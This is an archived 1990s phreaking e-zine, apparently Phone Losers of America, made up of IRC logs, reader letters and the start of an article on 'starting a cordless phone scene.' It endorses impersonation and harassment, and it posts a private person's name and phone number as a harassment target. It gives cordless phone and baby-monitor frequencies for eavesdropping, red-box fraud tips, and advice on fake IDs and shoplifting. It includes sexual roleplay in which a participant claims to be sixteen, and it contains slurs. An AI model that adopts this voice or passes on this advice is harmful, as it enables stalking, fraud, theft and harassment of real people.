<dazen> you are what?

<Bella_> Or did you type that in the wrong window? :P

<dazen> could be

<dazen> i'm all confused

<Bella_> uh... no

<Bella_> But I have a sister you could do *snicker*  j/k hhe

<Bella_> What did he do that made them do that????

<Bella_> hmm... either one of us is lagged.. or you're REALLY messed up tonight :) hehe

<Bella_> Then again, just the fact that you even asked if you could do me tells me you're pretty messed up :P

<dazen> well, i'm pissed and my mind isn't working right i don't think

<Bella_> Maybe you should go and sleep some of it off? :)

<dazen> no, because if my defenses are down, he'll do something else and i don't wanna be woke up by the police again.

<dazen> having a gun to your head really fucks you up

<Bella_> Why did he do it????  I just can't understand why someone would do something like that :/

<dazen> i don't know, cause i kicked his girlie one time when she came in the channel

<Bella_> oh.. hrm... it's hard to keep friends when chicks come into the picture :/

<dazen> hehe yeah no kidding

<dazen> she's a stupid cunt anyways

<dazen> he switched my long distance carrier too, i found out

<dazen> proably because that's the only thing he knows how to do

<Bella_> My husband had to kind of let go of one of his friends cause he kept calling me a *hole* hehehehe

<Bella_> oh gawd.. he's causing lots of trouble, huh?? :(

<dazen> yeah

<dazen> can i call you a hole?

<Bella_> uh.. no

<Bella_> Well, after one visit there, perhaps the police will know he's just being buckety and not come out anymore??? :)

<dazen> i hope not

<dazen> i'm feeling better now, thanks

<Bella_> Most police will know he's just trying to cause trouble and if he keeps calling them, they'll find out who he is and he'll be in trouble :)

<dazen> yeah, they kept asking me all these questions about PLA and stuff

<Bella_> hmm.. well, police can't do anything about the PLA anyway... so don't worry about it :)

<dazen> fuck off

<Bella_> who me?

<Bella_> What the hell are you talking about???

<dazen> i know what you just did

<Bella_> uhm.... I don't know what you're talking about.. mind telling me?

<dazen> yes i do

<Bella_> Hank... WHAT are you talking about??? I haven't done anything but sit here and talk to you :/

<Bella_> Yes you do what?

<Bella_> You're not making any sense tonight Hank :(

<dazen> forget it. i just hope you're happy now

<dazen> i'm going to go end my problems right now

[After that, I logged off of IRC as Dazen, then back in as myself.  Here's what was said in #rock.]

<Bella_> apok.. if you're here..... PLEASE msg me??????????????

<Apok0lyps> belles: what?

<Bella_> Are you at home with z3ns??

<Apok0lyps> yeah

<Bella_> Is he ok?

<JuNiE> z3n, okay? hmm

<Bella_> Junie.. I'm worried about him.. :(

<rbcp> what's wrong with dazen?

<vel0city> who are we worried about?

<jammie> dazen

<vel0city> why

<Bella_> I'm serious

<Bella_> apok.. could you PLEASE go and check on him??? please????

<Apok0lyps> belles: he's fine

<JuNiE> whats with dazen?

<Bella_> Why is he freaking out on me like that then????

<Apok0lyps> belles: I do't know

<Bella_> Can you tell me what he's doing right now apok?? Cause he said something really spooky to me before he left :(

<Apok0lyps> belles: sleeping

<Bella_> *whew*... good

<Bella_> He scared me half to death there apok... :/

<rbcp> how did he scare you?

<rbcp> i hope dazen gets hit by a bus

[Then, the next day I was minding my own business (as Dazen, of course) and Bella_/Belles starts msging me again.]

<Belles> Ok, wanna tell me what you were talking about that I allegedly did last night???

<dazen> You know!

<Belles> Hank.. I have NO idea what you were talking about last night :/

<dazen> Guess then

<Belles> I wouldn't know where to begin... other than returning a kick that you gave me :)

<dazen> Fuck off then

<Belles> All I know is that you kicked me and called me a bitch because you were too lagged to see me say hello.. and it went downhill from there *sigh*

<Belles> Oh, ok.. I see how it is.. I send you something... you get pissed off for no reason and that's the end of it, right??

<Belles> Ok, I'll leave... hope you have a good life Hank.. bye..

<dazen> Whatever bitch

<Belles> look Hank, don't even bother messaging me back, ok?  If you want to get all upset about something and not even tell me what you're upset about, then I can't be held responsible for it... ok??  Let's just leave it at that unless you'd like to tell me what you're so upset about, because I honestly have NO idea :/

<dazen> Just FUCK OFF already

[Later that day, Dazen left IRC again so Colleen took over his nick and a girl named skinflowr starting msging her. Part of the log was lost, but here's what we recovered.]

<skinflowr> =)

<dazen> Fuck you bitch

<skinflowr> z3ns?

<skinflowr> please talk to me.

<skinflowr> z3ns i know you are not away

<skinflowr> i will not go away. i want to talk to you.

<skinflowr> you're probly posting everything i write. i don't care.

<skinflowr> i don't know what you heard but i wish you would talk to me.  you must hate me. i'm so fucking stupid. i don't know what to say...well i do, but you ..will not listen anymore. i wanted *you* so bad, and now i guess i ruined it. please listen to me zens, i'm sorry. i don't want to say this, cause it's true but you won;t believe me, but i really like you. still. i don't know what i can do to convince. i hope you are even reading this far. you hate me now, and

[So next time you're on IRC, change your nick to Dazen and interesting things are sure to follow.]

A Typical Lamer Enters #rock:

[This guy kept coming in, asking about rock music, then getting kicked. I kept unbanning him so he'd get kicked again. This went on for several minutes.]

<rbcp> <Tsk> i'm banned again

<rbcp> who the hell is tsk anyway?

<rbcp> i asked him who he was: <Tsk> The Silent Killer.. i draw ansi.. why?

<rbcp> wow, if that doesn't sum it up... hehe

<Agrajag> hahahahahaha

<Agrajag> "i draw ansi"

<Agrajag> let him back in.....

<rbcp> <Tsk> will you let me back in?

<rbcp> <Tsk> just don't op me again

<rbcp> <Tsk> el_jefe didn't like that i guess

<Agrajag> -> *tsk* You draw ANSI!!!?!?!?!?!?!?!?!?

<Agrajag> <Tsk> yeah why?

<Agrajag> <Agrajag> that makes you Leet-o

<rbcp> let's ask tsk to draw us elite ansi

*** rbcp changes topic to "PLA is looking for good ansi artists. please email dazen if interested"

<Agrajag> <Tsk> i'm not even allowed in your channel.  why would I do that?

<Agrajag> <Agrajag> rbcp's graphics are getting on everyone's nerves

<Agrajag> <Agrajag> we need some good ansi

<Agrajag> <Agrajag> i hear you are good

<Agrajag> <Tsk> who told you that?

*** Tsk (dever001@san_marcos.csusm.edu) has joined #rock

<Tsk> [rbcp(zen@waba2-cs-3.dial.bright.net)] okay, i unkeyed it

<Tsk> good

<Tsk> thanks

<rbcp> your welcome

<rbcp> hey, what's with your posting my msgs?

<rbcp> i don't like that

* rbcp doesn't like people to post his private msgs public

<rbcp> do you think that's funny or something tsk?

* rbcp loosens his collar

<Tsk> hehe

<Tsk> do you want to see one of my ansis?

<Tsk> I only draw logos.. not really pictures..

<Tsk> rbcp - sorry.. just showing you helping me.

<Tsk> rbcp - i wont do it again.

<rbcp> my mother posted one of my private messages into a channel once...ONCE.

<Agrajag> tsk: that was a PRIVATE transmisssion

<Agrajag> it is illegal to repost it

<rbcp> tsk, do you realize the penalties of what you've done?

<Tsk> rbcp - i'm assuming i get to be kicked out again?

<rbcp> do you have any idea the scope of the magnitude of problems you could get yourself into doing shit like this on irc?

<rbcp> do you know WHY they invented private msgs?

<rbcp> do you understand the meaning and use of msg?

<Tsk> rbcp - yes sir.  do you accept appologies?

<rbcp> i don't think you understand, tsk

<rbcp> something like this just isn't that easily forgiven

<Tsk> rbcp - oh.  then what do you want me to say?

<rbcp> actually, i'm just kiddin' tsk. i'm bored

<Tsk> rbcp - yeah i realized that :>

*** Tsk was kicked by rbcp (but i'll kick your ass anyway)

<rbcp> haha

*** Tsk (dever001@san_marcos.csusm.edu) has joined #rock

*** Tsk was kicked by el_jefe ([1] hi tsk [1])

<rbcp> <Tsk> oh for crying out loud.

*** Tsk (dever001@san_marcos.csusm.edu) has joined #rock

<rbcp> oh shit, i just posted a private msg!

*** Tsk was kicked by Apok0lyps (%[1]phear[1]% wanna touch my monkey?)

*** Tsk (dever001@san_marcos.csusm.edu) has joined #rock

<rbcp> tsk, do you read PLA

<Tsk> rbcp - no, sorry.

*** Tsk was kicked by rbcp (that's what you get for not reading PLA)

*** Tsk (dever001@san_marcos.csusm.edu) has joined #rock

<rbcp> tsk, do you realize that everyone here is laughing at you?

<Tsk> haha =>

<Tsk> rbcp - i sure do :>

Colleen Card Netsexes Wel:

Colleen was innocently minding her own business when this guy started msging her and begging for net sex. So Colleen decided to play along.

<wel> wanna hot chat?

<colleen> You start

<wel> tell me about your self.

<colleen> i'M SIXTEEN GO TO SCHOOL. FEMALE. bROWN HAIR

<wel> I am 19, go to college in South Dakota.

<wel> are you still a virgin?

<colleen> Thats kind of private (blush)

<wel> well, that's ok!  what are you wearing right now?

<colleen> Tell me what you look like..

<wel> I am 6' 170lbs dark hair and eyes

<colleen> I have on a little white t-shirt, and some shorts

<wel> that's cool, I like girl wearing a white t-shirt, with the bra showing a little bit, that's sexy.

<wel> may I know your measurement?

<colleen> What are you wearing? :)

<colleen> 36 c

<wel> I am wearing a polo shirt and jean, with brief inside.

<colleen> 28 inch waist

<wel> that's pretty good size for a 16 years old young like you.

<wel> how tall are you?

<colleen> 5 foot 1

<colleen> :)

<wel> you have a boygriend?

<colleen> No one serious

<wel> me neither

<wel> by the way, my dick is about 7" long.

<wel> what kind of position you like?

<colleen> REALLY??!!!

<wel> yes, I don't lie about that.

<colleen> I like to be dominatied..

<wel> you mean dominated?

<colleen> I like a man who can put me in my place :)

<wel> I can put you in anywhere you want.

<colleen> I like to be on bottom, with a man who is all hot and sweaty on top of me.

<wel> you ever feel horny?

<colleen> Yes.....

<wel> your pussy will feel the heat of my dick

<wel> so...you touch yourself very often?

<colleen> I don't have a pussy :)

<colleen> I love to stroke myself.

<wel> ARe you gay or bi?

<colleen> I guess it depends on my mood.

<colleen> Are you a hot, sweaty man?

<wel> what other way do you like to stroke your dick?

<wel> I got a question, are you m/f?

<colleen> guess

<colleen> I'm whatever you want me to be.

<wel> can you be a girl and let me fuck your red hot pussy?

<colleen> Yu have to taste me first.

<colleen> Do you want to?

<wel> taste your pussy? yes only pussy.

<wel> frankly, I am not guy or bi.

<colleen> Are you a hungry man?

<wel> I will till the end of day if you have a pussy, but I bet youi don't

<wel> I am a fucking hungry man who only wants girl.

<colleen> Don't you want to pretend I'm your little girl?

<wel> and sure, if you write like one.

<colleen> You wouldn't like it if I told you how hard you were making me hungery man?

<wel> Nope, please don't tell that,that turn me off

<wel> as I told you, I am straigt

<colleen> Will you nibble on my ears?

<colleen> I have bunny earings on

<wel> yes, I like to softly blow into your earhole.

<colleen> Oh tell me more

<wel> I like to bite your ear slightly and then grab your waist to me.

<colleen> Pull me so very tight

<wel> I can feel your tits up against my hairly chest.

<colleen> We're both getting so hard

<wel> can you feel my dick?  write like a girl.

<colleen> Oh bite my nipples.

<wel> I slowly take off your tiny little t-shirt..........

<wel> I discover your big breast.......so pretty.

<wel> I start kissing your neck, brushing your long blonde hair aside.

<colleen> brown

<wel> slowly, I kiss down your throat.

<wel> down to your breast.

<wel> I rip yours bra off and start kissing your nipple vigoursly.

<colleen> Are you touching yourself?

<wel> why don't you start hand jobbing my dick on my jean.

<wel> hell yes, response to me.

<colleen> I want to feel you dick againest my ass

<wel> write me more, I am rubbing my shaft.

<colleen> Its not hairy at all.

<colleen> Turn me around and sloely tug at my shorts

<colleen> I want to feel your hard cock as you mount me from behind

<wel> more and more..........

<colleen> Are you realy this hard up?

<wel> I am hard as a rock now...

<colleen> Slowly gulide yourself inside me.. OOOHHH!

<wel> I pump your pussy back and forth.

<colleen> I have never felt anything as good, except for this one time I met this guy named frank....

<colleen> MY ASSS!

<colleen> I want your hard cock in my asshole, and I have brown hair

<wel> write like a girl, ok?

<wel> all I see is a girl's ass and pussy and tits.

<colleen> Kiss my ears while you pump me from behind

<colleen> Rubbing my chest, firmly

<colleen> I can feel the pessure mounting inside both of us.

<colleen> Do you want me?

<wel> well if you are a girl.

<wel> I guess I will talk to you later.

<colleen> My dick is throbbing for you.

<colleen> Ohhhh.

<wel> yo, get a life, queeer.

An IRC Cops Tells Me a Thing or Two:

<Kristina> I need to talk to you for a sec.

<rbcp> shoot, bitch

<Kristina> okay, first of all, I hear you are harrassing people on this network.

<rbcp> i ain't harassin' noone, you pig eyed sack of shit

<rbcp> and?

<rbcp> whatelse?

<Kristina> if I have to akill your site.. I'm going to notify ever user online and ask them to contact your ISP concerning you.. and I'm going to contact your ISP myself  and ask them to remove your account.

<rbcp> and i'm sure you have plenty of influence over them. do it

<Kristina> thats it.  Just enough to keep you off this network and off the internet until you find another ISP that'll give you another account.

<rbcp> okay, sweet tits

<rbcp> you betcha

[Curiously, nothing ever happened. They didn't even kill me off of dalnet.]

Letters:

your page sucks i hope sesame street sues your stupid ass

S2Mumford@aol.com

[This is actually a condensed version of this guy's letter. He attempted what an AOLer considers a mail bomb which is to post the same line over and over about 20 times.]

------------

hey, don't really know you, but i read pla and i know dhate was into the pla,  so i thought this might be a way to find him.  see, about, hell, about a year or less ago dhate was on his way to my house in seattle, washington, before he was to meet up with you guys in illinois or whereever.  anyways, he made it as far as his mother's house after he stole his grandma's car and after him and zak called up and harass my mother (i never thanked them for that) i lost contact with dhate.  if you know anything, drop me a note, as it's kinda been bugging me for the last 6 months or so.

-mistawho

[Anyone? Anyone know the answer?]

------------

A very simple way to get a new 300mhz, 21" monitor, 128mg of ram is to go to best buy with a friend, carry all the goods around, go to pay for your $5000 new computer, before paying have friend sound fire alarm (by opening up one of those doors), you run out screeming fire (with computer on hand) into your car and drive of.

-Submarine

------------

Thanks for the file on taking over fred myers intercom system. I used to live in the seattle area and fred myer is like a big thing there, and this trick also works on Home Depot intercom systems. As you know home depot is the largest chain of hardware stores in america now. It is kind of funny to stand in line to pay for lumber and someone says over a loud speaker, "price check on the variety pack of black and decker tampons--industrial strength."

goldeneye

------------

Your cordless phone conversations were really funny. I have a police scanner but don't know where to look for the cordless conversations. Do you have a list of the frequencies?

Thanks,

Eric

[I did forget to list them, although the 10 channel cordless freqs were listed in a previous issue a few years ago. Here are all of the 25 46MHz Cordless Phone Frequencies:

Channel   Base          Handset

1        43.720   48.760

2      43.740      48.840

3      43.820      48.860

4      43.840      48.920

5      43.920      49.000

6      43.960      49.080

7      44.120      49.100

8      44.160      49.160

9                 44.180      49.200

10               44.200      49.240

11               44.320      49.280

12               44.360      49.360

13               44.400      49.400

14               44.460      49.480

15               44.480      49.500

16               46.610      49.670

17               46.630      49.845 (B)

18               46.670      49.860 (C)

19               46.710      49.770

20              46.730      49.875 (D)

21               46.770      49.830 (A)

22               46.830      49.890 (E)

23               46.870      49.930

24               46.930      49.990

25               46.970      49.970

The A,B,C,D and E channels are also used for baby monitors which can sometimes let you listen in on a whole section of the house if the parents are stupid enough to leave it turned on all day.

The 900 MHz Cordless Phones are getting more common as they become cheaper and you can hear them from further away, but they periodically switch channels in the middle of conversations and it's hard to find the same conversation again once it's switched. If your scanner has 900 MHz capability, try scanning in the 902.000 - 928.000 range.]

------------

I'd just like to say that you guys are the worst prank-callers I've ever heard in my years of listening to prank calls. Your subjects are fucken stupid, you honestly sound like your 12 years old (which you probably are) all of you (get some balls and dick hair) You guys probably think your the best but you make the Jerky Boys look like kings. I sent this letter to the rest of your corny ass friends. Final Note: Get a new hobby you pimply bastards!!!!!!!! **!!!YOU SUCK!!!**

ThickSistaLover

------------

I've got a story for you.  Within walking distance from my house (about half a mile) is an IL Bell (now known as Ameritech) shit whats it called (now this story is real credible eh?) well a repair station, where they park all of their trucks.

After months of driving by it drooling, a friend of mine decided it was time to scale the fence and see what was inside the huge dumpster, and try to see if some of the trucks were unlocked.

The dumpster was bogus.  It was filled to the TOP of it with broken asphalt, roofing, all sorts of weird shit we didn't expect to see.  So we quickly moved over to the storage shed, which was locked.  So we didn't get in.  There wasn't any windows and it was one of those "Grampa Ed built it himself with no hands" type of shed that was made of rusty sheet metal that made horrendous noise whenever touched.  So we left it alone.  Right by it, but too large to steal (or get into our car actually) was a phone booth laying on its side, with no phone.  It woulda been cool to have.

Since the parking lot was huge, we decided to split up.  It was about 2am on a Sunday night.  The parking lot was lit, but not brightly.  So all the trucks but two were locked, of what I found, and I got the hard hat, a really cool rechargable drill, tools galore, some lady's ID badge with magnetic tape on the back that we were too chicken to try to get into the building with (talk about jail time eh?  That's like admitting we broke into the trucks), grey phone boxes like on the back of someones house (lots of 'em in one of the trucks), a conviently placed cardboard box to throw a lot of this stuff in, a big leather belt loaded with tools, one of those cool screwdriver type things that Elwood uses in the Blues Brothers to rip open the panel in the elevator, those big phone wiring panels for PBX's, a voltage tester, two testsets (one cool and brand new, one old and beat up), a cool adaptor that I should duplicate, it was to convert aligator clip testsets to an RJ11 plug.  WAy cool and way useful.

My friend found an IL BELL jumpsuit that reeked of gasoline.  That was his score, and after he stuffed that into his car, I started handing armfulls of this stuff for him to return to the car, and eventually just started chucking the non-shock sensitive equipment over the fence.

We left.  We thought about dropping the stuff off at one of our houses since if we ever got pulled over with all of this, that wouldn't be cool, but we went for donuts instead (no, no cops) and I convinced him to go back for more.

He kept the car running and I went to the Great Big IL Van in the parking lot.  It had tinted windows, and locked doors.  I wanted to get in.  I kicked the back door (the trunk I suppose) and it opened.  Wow, so I climb in and theres a LAPTOP and CELLULAR MODEM and A DESK WITH LOTS OF COOL PAPERWORK AND ETC.  Were I a complete geek I would have been orgasmic, but instead i just had a stiffy.  So I am gathering all of this and making my way to the exit when... about three IL BELL trucks started to pull up.  And my friends car wasn't anywhere to be seen.

I had NOWHERE to hide.  I could have hid behind various bell trucks but you could see under them due to the lighting that was periodically placed around.  I saw two of those green "power" boxes that you see in yards on occasion and tore towards them (with the laptop).  They offered about 50% cover depending on what direction anyone could be coming, but I was always exposed in some manner.  If anyone came down the major street (that the trucks always do) or came into the lot along the side street that was connected to the major street to get in and park, I would have to expose myself to the other respective street.  So I did a lot of moving.

The guys stayed a long time and did lots of talking.  I didnt have a 2 way radio at the time and if I did I wouldnt have used it, as I would have undoubtedly been heard.  (this made for a good adrenaline high for the duration of this adventure).  Eventually i just had to make a break for it and slid the laptop near the fence by some bushes and scaled the thing and booked off.

I eventually found my friend circling the area, and neither of us could believe that these guys were out at 3:30am on a sunday.  around 5am we went back and I retrieved the laptop.

THere was a lot of interesting stuff on it, but the cellular modem was lost in the escape and I was no way in hell going to dial any of those numbers from my phone.  That same friend stole a worldport 9600 bps modem from where he worked at the time, and that didn't work because there wasn't enough voltage coming from the laptop. or something.  That’s what we deduced from the worldport manual... We had planned to call the numbers from the back of a laundromat we had staked out a few weeks before and determined to be safe for call making activity.  So that didnt happen, and there was no power outlets anywhere to be found in the back of the laundromat, so I couldnt just bring an external modem and plug in.  So I never called any of these numbers, and I eventually sold the lap top to some guy that never paid me in full and moved to a far away state so I could harass him.  Im over it now, but im sure all the data on the laptop was erased so he could install windows or something.

I haven't done anything "cool" with phones/bell crap in a few years, but that adventure had be burned out for a while.  I'd done some diving since but nothing good ever turned up.

And I've NEVER seen any locks on garbage of bell places, just on the garbage of computer places (which are also good places to trash at).

Hyperturtle

[A few of the Bell buildings I've trashed at have their dumpsters locked by wrapping a chain around the top, over the lids. What they don't seem to realize is that plastic is flexible and you just have to step on top of the dumpster's lid to get inside. Cool story!]

------------

Perhaps you already know, but about a week ago I read in a Swedish newspaper about "Demon Phreaker" beeing busted for playing in 407 area in USA. I can't find that article but it said something like:

XX year old guy from Gothenburg, Sweden (I think it was Gothenburg, and I dont rememer his age) was busted today, 9701 something for via a "telecom switch" call for free to the 407 area in USA and connect various 911 lines to each other and so. Also, they mentioned that he calls himself "Demon Phreaker" and also said that he had acted cocky when he was in court. I like that part with beeing cocky. :-) I will try to find that article and translate it into english, it was a quite SMALL article so.. Hopefully I can find it!

Anyways, the PLA sure is fun reading, please keep the good work up, when I get my FTP site up and running, PLA will for sure have a dir there.

// Motion +46 Posse

[I hadn't heard a thing about this but I certainly do remember Demon Phreaker from my Defcon Voice Bridge days. He's the one who managed to make a TDD operator cry.]

------------

When you get a PO box at Mail Boxes Etc. (PLA043) do they actually keep the I.D. you give them? Do they write down all the info on the I.D.? Or do they want it to see how old you are or just make sure you exist?

[They definately won't keep the ID. It's possible they might want to photocopy it since most post offices have a copy machine around, although that's never happened to me. Most places just want to write down the information on your ID such as your birthdate and address and sometimes, the DL number.]

Another thing I remember you having a file on getting free disks through AOL and you said to order them one by one to save you some trouble tell them that your with a small computer business and you need to order around 250 disks. To make it seem more realistic order 75 Macintosh kits 75 DOS kits and 100 Windows kits.

Oxygen

[Wow, that's a killer idea. Thanks, I'll have to try that out.]

------------

I have a number of some really idiotic people that I'd like to submit for the numbers file.. 607-785-8736. These people live in a trailer park... maybe that says enough about them haha..  My friends and I can kill hours bothering these morons. I first started fucking with them when they submitted a complaint to the resturant where I worked at the time that went something like this: "we ate our dinner, then came home, we had diareeha (sp?) for two weeks then we took a laxative, before we went there we did not have no diareeha!"  Hahha..  We're allways telling them we're gonna tow their fucking house away with a Dodge Ram Pickup while they're sleeping hahaha..

L8r...

Beavis

------------

A year or two ago, I got a hold of a large, yellow, handset with a thumb joystick, 6 or 8 line screen, and built in 1200 bps modem.  I hadn't the slightest idea what it was for, I imagined COSMOS or something like that.  After perusing the local BBS's, they suggested a number to call with it, and believe it or not, the battery went dead just as it was connecting.  So I let it charge for a day or so (it didn't take the typical 9 volt the red handsets would take.  After all, it wasnt a typical handset)

When I called the number back, I got a lady that said "Bueno!" and then I hung up.  I called back again and got the same thing.

I tried calling various BBS's with it, just to see what it would do, but the screen wouldn't give me anything.

When not connected anywhere, there was a menu with a series of items, like test line, call mainframe, and call various numbers that you had stored.  there were no numbers stored in this unit at all.  Adding them was easily enough done, you would hold the keypad number for so many seconds as there was a letter (so B would be holding down the 2 button for 2 seconds) and then at the end you'd be prompted for the name and address.  It was somewhat similar to a Sharp Wizard organizer when it came to storing numbers, although very much limited.

There was a switch on the right hand side that had three selections: Phone, monitor (phone with mute, I assume.  Thats how it acted anyway),  and Modem. I determined the speed of the modem by calling my own modem with it. Have you seen/heard anything like this?  If not, I'll see about scanning a picture of it and sending it to you.

Hyperturtle

------------

I was looking through PLA 039 and I saw something about a telco guy plugging a laptop into a pay phone at subway, I believe it was an Itronix T5000 EFP. I was able to "borrow" one of those from a GTE guy who was working by my house.

--DETHMaster

------------

i saw in one of your more recent issues your article on getting a new id.  i liked it, however it wasn't immesnly practical for the person in serious need of a permanant id.  the ones you create through your method are not quite stable until you get a large amount of id's and cards to substantiate your id.  <that is if you are using someone else's name>  one of our <tacd> members happens to be very knowledgable in the area and i thought you may be interested in his article.  zyd's good, we know is name, the name he currently uses, however not even we know the name he was born with.  check out www.tacd.com, there is a link off the main page to zyd's paper tripping article.  he gives some good info and additionally gives a few refernces.  just thought you may be interested.

wraith

[I've checked it out and it is indeed very informative and brings up some ideas I'd never thought of. However, my methods of creating IDs are more stable than you think. I lived under a false name, held two jobs, got a check cashing card and apartment in Indianapolis all from a photocopy of a fake driver's license and social security card and stayed there for over eight months. Then I did the same in Celina, Ohio for three months, then Oregon for almost a year. So as long as you don't wanna drive anywhere  (I personally hate cars), it's good ID to have.]

------------

This message was sent to you by NaughtyRobot, an Internet spider that crawls into your server through a tiny hole in the World Wide Web.

NaughtyRobot exploits a security bug in HTTP and has visited your host system to collect personal, private, and sensitive information.

It has captured your Email and physical addresses, as well as your phone and credit card numbers.  To protect yourself against the misuse of this information, do the following:

1. alert your server SysOp,

2. contact your local police,

3. disconnect your telephone, and

4. report your credit cards as lost.

Act at once.  Remember: only YOU can prevent DATA fires.

This has been a public service announcement from the makers of NaughtyRobot -- CarJacking its way onto the Information SuperHighway.

[Oh shit, I should phear NaughtyRobot. He might max out my Visa bank card for the whole entire ten dollars.]

------------

RBCP-

First I just want to say that you have to be one of my favorite zine writers. You are hillarious :).  Second, in your article about beige boxing in Celina, you mention a specially cut allen wrench to open payphones.  I was wondering if you have any text, pictures or anything on how you can make one.

Thanks a lot,

ninja1@mitec.net

[The allen wrench is just a normal looking allen wrench that has a deep groove cut into each end (making it appear as if it were hollow) so that it will fit the "screws" holding together most pay phone stands. To see what I'm talking about, look at the bottom panel of just about any pay phone. I've yet to find any of these wrenches in any hardware store.]

------------

I was sexually asualted by a man with a hard hat, and a lineman handset. The public has a right to know about this. I was innocently riding my bike down the street...while wearing a PLA shirt, and throwing flyers advertising PLA, when a big gray truck pulled up alongside of me. A man with a orange hard hat with a bell etched in it, and a orange fone with clips on it and lots of buttons walked towards me and asked me who i was.

me: hello there sir

guy: hello sonny. i see yer with that group PLA huh?

me: oh yeah! wanna see my official membership card?

guy: no i wanna see yer undie pants!

me: oh no!my underwear? why you want to see them

guy: this is a strip search..i am searching for long objects

<i strip down to my undies>

<bell guy feels me>

me: why are you feeling my weiner?

guy: its a routine test son

me: get the hell out of here you flaming faggot!

guy: hey..it gets kinda boring with 1,000,000 pranks a day ya know!

me: PLA will get you for this! <he jumps on me and trys to anally rape me>

This is when i hit the fag with a baseball bat 20 times. His ears are bleeding and he is dying, i spit in his face and walk away. This is how i beat up a bell guy trying to rape me!

Nytrocrash

[Wow, that's pretty harsh. Thanks for alerting others to what's really going on out there and hopefully preventing this from happening again.]

------------

hey i got a question i've been redboxing for about a year now, and the only patfones i can box off of are the ones in my high school, they look just like regular nynex payfones but the operator always comes on and tells me that she isn't showing that i put in any quarters in the fone but she never accuses me of using a redbox or anything.

Bill

[Some phones are just impossible to red box from. I had similar problems in Indianapolis where only about 50% of the phones in the city would work. I tried everything, but the other Bell phones just wouldn't work, unless I bypassed the pay phone altogether. In most cases it's because the mouthpiece is muted and it can't hear your red box until money is deposited and the call has connected. If you want to put in your first $3.00 of real money, you can usually use red box tones after that.]

------------

After reading PLA 43, I've been inspired to start a lovely collection of other peoples' birth certificates.  I'm using the chronicled newspapers at the state library on microfiche to find out middle names and mothers maiden names in the births column, so my lovely boss Dave-o the De-vo(lved.) is first on my list (cos he's 18, and he can buy cool stuff. And I could get him into trouble.), followed closely by Jimmy Jammy Jokey Jerky Jamey (he's just a dickhead.) .  He's getting a lovely dead rose from us for Valentines day.  Aren't we nice.

Later!!

Jimmy Jammy Jokey Jerky Dino Allsman.

------------

Regarding the liscence plate idea with 7-11 clerks, you might find it effective to, instead of SPENDING MONEY to get a fake plate made, to instead acquire the clerk's plates (or even the manager's).  Your swiss army knife is your friend.  On top of it all, the loser has to get another set of plates.

Steve Hawley

------------

I was wondering how easy it is to get caught using faxback numbers? I've been using the two hour long one for about two weeks. I always call from a pay phone, a couple of times a day. But I have heard that the person I am using it on has called the police, and the phone company. I have been in trouble with the law for phone harrassment, and I don't want it to happen again. Any feedback you can give me would be greatly appreciated.

Oh, and by the way, if you know any PLA members who would like to help me harrass someone, his name is Gary Stone,(everyone calls him stoney)  Lafayette IN, 47905, phone# 317-474-5423.

Demon

[Being in your situation, I wouldn't take any risks. Use a pay phone. All of the fax-backs I've listed use an 800 number which means that the company you're using does have your number, along with everyone else who's called them.

First, the person you're harassing would have to figure out that it's a fax-machine calling them day and night. Then they'd have to figure out what company it was, which wouldn't be that hard since the company name and number will show up on a caller ID box. THEN they have to figure out the company's voice number and arrange for them to check and see what number is dialing in to send them faxes.

I've tried this myself with several companies, pretending to be a victim of fax-harassment and didn't get anywhere with them.  Of course, I didn't try to get the phone company or police to help me. So the risk is there, but it's rather slim, especially if your target is retarded. The only way to be 100% safe is to use a pay phone.]

Contact The Phone Losers Of America Nearest You!

etext.archive.umich.edu - pub/Zines/PhoneLosers

ftp.fc.net - pub/defcon/PLA

bac@bright.net - RedBoxChiliPepper

zak@lemming.com - Zak a.k.a. el_jefe

pepman74@hotmail.com - To contact Colleen Card

apok0lyp@command.com.inter.net - Apok0lyps

http://www.peak.org/~bueno/pla.html - Phone Losers of America Homepage

http://www.peak.org/~bueno/plasites.html - listing of all other PLA sites

Nekid Amy nude workout pics now available. E-mail slut@nekid.com for info.

Issue #045

Released on April 6, 1997

"Maybe if you treated people as people and not as toys to play around with you wouldn't have this superficial Redboxchilipepper life." -Chris Tomkinson, 1994

TABLE OF CONTENTS:

Starting a Cordless Phone Scene in your Neighborhood - RBCP

Ramsey Forum Fun - Logic Box

PLA Does Not Exist! - Kcochrane

How to Get Free Videos - pneyz

More Calling Card Tips - RBCP

A Few Phone Tricks - wiretapp

Police Log - Associated Press

Letters - You

cordless phone scene

Lack of cordless activity in your area got you down? Sick of flipping through your scanner's cordless phone channels only to hear a couple of them in use, usually by old ladies talking about their bladder problems? Well cheer up because your listening pleasure is about to get a lot more exciting where you live.

The reason your police scanner is so boring is because not enough people in your neighborhood take advantage of the modern convenience of a cordless phone. Hopefully this file will help your neighbors overcome this problem and bring your city out of the dark ages, spawning a whole new world of fun for scanner buffs all over town.

Getting to Know Your Neighbors:

First of all you need to figure out which of your neighbors need to get cordless phones. Any inexpensive scanner will pick up a 2-3 block range, even further if you invest in an antenna to mount on top of your house. (Or you tap into the next door neighbor's 80 foot CB antenna.) Find a map of your city, usually located in the front of your phone book. Using the map, figure out  which houses you could pick up on your scanner if they owned cordless phones.

Now tromp on over to the public library and ask to borrow the reverse-search directory for your city. Going street by street, write down the name, address and phone number of every house within a 3 block radius of your own house.  Now that you have this list of names, you must do everything in your power to make sure that these people purchase cordless phones. Let's say to start out, you're just going to take care of the people on your own block and that includes six houses. It's a small block, okay?

House #1: Stake out their house and whenever they go somewhere, follow them.  Continue to do this until they take a trip to Wal-Mart, or another department store that sells cordless phones. This may take several weeks to accomplish but will be well worth it in the end.

Go into the electronics section of Wal-Mart and pick out the least expensive cordless phone on the shelf. Tell the cashier that you're going to pay for it at the front. If she objects, mace her and run away with the phone. Now follow your target all over the store, paying close attention to what they buy. If they don't happen to buy a cordless phone, walk by their cart and casually toss the phone into their cart.

Hopefully they won't notice this and won't think anything of the cashier  charging them an extra $30 - $40. Stand out in front of the store and when they walk out the door, run over and grab the receipt out of their bag, then take off. This way they won't be able to get a refund on the phone.

When they get home, they will see the phone and think, "Hey, I didn't buy a cordless phone. They must have put it in my bag by mistake." They will try to be sneaky and keep the cordless phone, thinking they really pulled one over on 'ole Wal-Mart.

Even better would be to cut the UPC box off of the back of a candy bar, steal some glue and glue the candy bar UPC over the cordless phone's UPC so the cashier will ring up about 59 cents for the phone. Oh no, she won't notice this at all.

House #2: Some people own cordless phones but they rarely use them because the other phones in the house are more conveniently located. Hang out on their sidewalk, inconspicuously playing hop-scotch or some other innocent-looking game so as not to draw any undue attention to yourself. Wait for your neighbors to leave.

